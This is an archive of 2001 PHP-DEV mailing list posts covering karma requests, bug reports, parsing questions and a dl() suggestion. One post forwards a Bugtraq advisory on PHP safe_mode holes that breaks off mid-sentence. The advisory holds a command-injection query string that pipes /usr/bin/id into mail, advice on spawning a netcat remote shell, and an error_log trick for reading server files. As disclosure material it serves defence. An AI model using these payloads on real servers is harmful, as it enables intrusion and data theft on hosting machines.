Hi, On Thu, 15 Nov 2001 18:54:40 +0100 Jan Lehnardt [EMAIL PROTECTED] wrote: Hi, can someone extend my karma to php4/pear. I'd like to help out in this area as well. user id is jan, sorry. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Bug #14058 Updated: binary and
Hi, On Wed, 14 Nov 2001 19:48:14 +0100 (CET) [EMAIL PROTECTED] wrote: Hello, ANd is it fixed in the PHP_4_0_7 branch? (ie, php4.1.0rc2?) php4.1.0rc2(FreeBSD): 4294967295 67633152 = 67633152 Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Re: closing ? tag.
Hi, On Mon, 22 Oct 2001 08:41:37 +0900 Yasuo Ohgaki [EMAIL PROTECTED] wrote: Jan Lehnardt wrote: I think this change will break a lot of existing scripts... Why that? It is documented that anything but ? or % /scrip are supposed to close the PHP-Mode. We'll need to add more tokens and makes it slower to parse... What do the others, who may be more familiar than I am, say? Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] closing ? tag.
Hi, is it intended, that the ? tag can look like whatdoyouwant? und php gives no error on it? its either a bug or an undocumented feature. due to consistence i'd vote for allowing ? only. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Karma
Hi, can someone grant [EMAIL PROTECTED] access to php-bugs-web. I'd like to commit an addition to the report form to prevent multiple submissions for now and more improvements later. thank you. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Multilpe submits ...
Hi, On Fri, 19 Oct 2001 09:45:52 -0400 (EDT) Joao Prado Maia [EMAIL PROTECTED] wrote: Duh! Well, on that case I guess Jan Lehnardt already has the code for that functionality, as described on his last email to the list. Actually it is just a note next to the submit button. But it should do the job. Jan -- Q: Thank Jan? A: http://geschenke.an.dasmoped.net -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Safe mode hole in mail()
Hi, has this been recognized already? a quick look on the archives said no. snip Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk List-Id: bugtraq.list-id.securityfocus.com List-Post: mailto:[EMAIL PROTECTED] List-Help: mailto:[EMAIL PROTECTED] List-Unsubscribe: mailto:[EMAIL PROTECTED] List-Subscribe: mailto:[EMAIL PROTECTED] Delivered-To: mailing list [EMAIL PROTECTED] Delivered-To: moderator for [EMAIL PROTECTED] Date: Sat, 30 Jun 2001 12:40:06 +0200 From: Joost Pol [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: php breaks safe mode User-Agent: Mutt/1.2.5i X-Keywords: X-UID: 156 Laberatoire Contempt Date : 12/06/2001 Author : Joost Pol alias 'Nohican' ([EMAIL PROTECTED]) Impact : Minor in most cases. Subject : PHP safe_mode troubles. 1. PHP Version 4.0.5 breaks safe-mode. 1.0 - Description of the problem An extra 5th parameter was added to the mail() command breaking safemode: - snippet of the code in mail.c (lines 156-165) if (extra_cmd != NULL) { sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, ); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } sendmail = popen(sendmail_cmd, w); } } - end of code snippet The popen() function is the C library function popen(3). An attacker could easily upload a simple evil.php script containing: ? mail(foo@bar,foo,bar,,$bar); ? Then the script could be invoked using a simple query like: http://foo.com/evil.php?bar=;/usr/bin/id|mail [EMAIL PROTECTED] 1.1 Impact Well, first of all it renders an important part of safe_mode useless. Two examples come to mind: 1.1.1 Example 1 A customer has bougt some web space from a provider and is given only ftp access to upload his files. The customer is not supposed to have shell access nor view files outside of his home directory. The customer could easily upload and compile a lite version of the popular netcat tool (cd /usr/ports/*/netcat;make clean;makemake install)and spawn him self a remote shell on the hosting boxen. If something like suexec is not used by the provider, the shell spawned could in fact be a nobody (uid of webserver) shell. This could make the situation even worse. Situations where (virtual) hosting machines are used in a host-based authentication scheme, i am not even willing to *consider*. 1.1.2 Example 2 A customer has bought some web space from a provider and was given a shell account on the hosting boxen. If something similiar to suexec is not running the customer could spawn him self a nobody (www, web, uid of webserver) shell. (1.1.1) The impact of this varies on a per setup/provider basis. Most providers just dont *expect* someone to have a shell with the uid of the webserver on the hosting box. Internal scripts, database schemes and database password are commonly (but sadly) left owned by the uid/gid of the webserver. These become vulnerable. Even webserver configuration files (httpd.conf) and *complete* webserver roots owned by the uid/gid of the webserver have been observed in the wild. Experience learns that when unexepected-nobody access is gained on a (virtual) hosting machine bad things are bound to happen sooner or later. 1.2 - Solution Well, obviously just a slip of the PHP-team. 5th argument to mail() should not be honored in safe_mode. (MHO) 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. 2.0 - Description of the problem PHP safe_mode has the nice feature of disallowing the opening/reading and writing to files that are not owned by the uid that the script is owned by. Though using some common sense it still is possible to open/read and write to files that are owned by the uid the webserver is running as. *notice* assuming that something like suexec is not in place */notice* An attacker could upload a simple script that does the following: ? $cmd = '? showsource($foo); ?'; error_log($cmd,3,/path/to/user/wwwspace/nobody.php); ? For example, assuming that the error_log is owned by the webserver it could be read using a simple query: http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log 2.1 - Impact Depends on the setup of the hosting box. If suexec or something similiar is used, impact is nihil. See also 1.1.1/1.1.2 2.3 - Solution Disallow the changing of the error_log location in safe_mode? Not really for me to say, the PHP-team will come with something good. Notice: just changing the error_log function wont do, you could also
[PHP-DEV] Fw: [PHP-GTK] Function DL
Just a quick thought... Could we ask the regular PHP people to module dl() so that if no extension is set on the library name it adds ".dll" or ".so" or whatever as is appropriate for the current operating system. This would simplify writing portable code for both php-gtk and other projects. And avoid future problems when the possible value for PHP_OS grow and all of a sudden working code gets broke. -- Andrew Lawrence Smoke Mirrors http://www.smoke-and-mirrors.net Tel: 416 461-8708 Fax: 416 461-1758 -- PHP GTK Mailing List (http://www.php.net/) To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Karma Request for php-gtk
Hi, I ([EMAIL PROTECTED]) want to help with the further development and dokumentation. Jan -- -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] Karma Request for php-gtk
Hi, I think, you have enough karma for documentation. What are you developing? Since there is a lot to do to reflect the whole functionallity of GTK+ in php-gtk I simply want to help. Additionally andrei and I decided to provide simple text documentation, until the userbase has grown. Jan -- -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]